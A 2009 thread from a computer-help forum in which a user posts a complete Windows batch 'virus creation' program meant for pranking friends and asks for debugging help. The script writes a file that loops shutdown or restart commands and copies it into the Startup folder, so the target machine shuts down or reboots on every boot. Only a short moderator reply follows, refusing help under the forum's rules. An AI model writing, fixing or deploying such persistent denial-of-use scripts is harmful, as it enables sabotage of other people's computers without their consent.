Welcome guest. Before posting on our computer help forum, you must register. Click here it's easy and free.

Author Topic: Scripting Help  (Read 2374 times)

0 Members and 1 Guest are viewing this topic.

wowmaniac123

    Topic Starter


    Rookie

    Scripting Help
    « on: December 22, 2009, 07:07:34 PM »
    I'm trying to create a user-friendly virus creation program for pranking your friends. Im having a problem though. When I try to create virus number 2 some of the scripts don't seem to carry out. It immediately places the virus in startup without listing the other options. If you want to see how it is supposed to work view virus number one which is working perfectly. Heres the code:
    Quote
    @echo off
    color 0A
    :start
    echo Welcome to the Virus Creation Manager!                   Zach Sugano
    echo Please choose a Virus                                    Productions
    echo Press 1 to Create a Shutdown Virus
    echo Press 2 to create a Restart Loop Virus
    echo Press I for Instructions on stopping installed viruses.
    set /p Virus=
    if %virus%==1 goto v1
    if %virus%==2 goto v2
    if %virus%==I goto instruct
    if %virus%==i goto instruct
    echo That is an invalid entry
    pause
    cls
    goto start
    :v1
    echo Preparing to Create Virus
    pause
    echo @echo off >Virus.bat
    echo :start >>Virus.bat
    echo shutdown -s -t 00 >>Virus.bat
    echo goto start >>Virus.bat
    copy "virus.Bat" "C:\Users\%Username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
    del Virus.bat
    echo Please note that this file will immediately shutdown computer upon startup.
    echo If you would like to stop this virus please type delete below
    echo if you would like to continue simply press enter
    set /p del1=Type Delete or press enter
    if %del1%==delete goto del1A
    if %del1%==Delete goto del1A
    echo Virus has succesfully been created and installed.
    pause
    goto end
    :del1A
    cd "C:\Users\%Username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
    del Virus.bat
    echo The Virus has been deleted
    echo Ending Program
    pause
    goto end
    :v2
    echo Preparing to Create Virus
    pause
    echo @echo off >Virus2.bat
    echo :start >>Virus2.bat
    echo shutdown -r -t 00 >>Virus2.bat
    echo goto start >>Virus2.bat
    copy "Virus2.Bat" "C:\Users\%Username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
    del Virus2.bat
    echo Please note that this file will immediately restart computer upon startup.
    echo If you would like to stop this virus please type delete below
    echo if you would like to continue simply press enter
    set /p del2==
    if %del2%==delete goto del2A
    if %del2%==Delete goto del2A
    echo Virus has succesfully been created and installed.
    pause
    goto end
    :del2A
    cd "C:\Users\%Username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
    del Virus2.bat
    echo The Virus has been deleted
    echo Ending Program
    :instruct
    cls
    echo To uninstall Virus. Hold f8 on startup. Select safe mode. Open the starup folder. This folder is located at
    echo C:\Users\Your Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. Please fill in your username in the username spot. In that Folder delete
    echo  the virus File. The Virus will now be uninstalled.
    echo Press enter to go back home
    pause
    cls
    goto start
    :end

    Dusty



      Egghead

    • I could if she would, but she won't so I don't.
    • Thanked: 75
    • Experience: Beginner
    • OS: Windows XP
    Re: Scripting Help
    « Reply #1 on: December 23, 2009, 12:07:38 AM »
    Quote from: wowmaniac123
    I'm trying to create a user-friendly virus creation program for pranking your friends.

    Your intention breaches the CH forum rules here from which the following quote is taken
    Quote
    If you’re looking for help with getting revenge on someone else and/or hacking into a program or service look elsewhere.  This also includes supposedly "harmless" pranks.  This is not what Computer Hope was designed for.

    Please do not request assistance with your project.
    One good deed is worth more than a year of good intentions.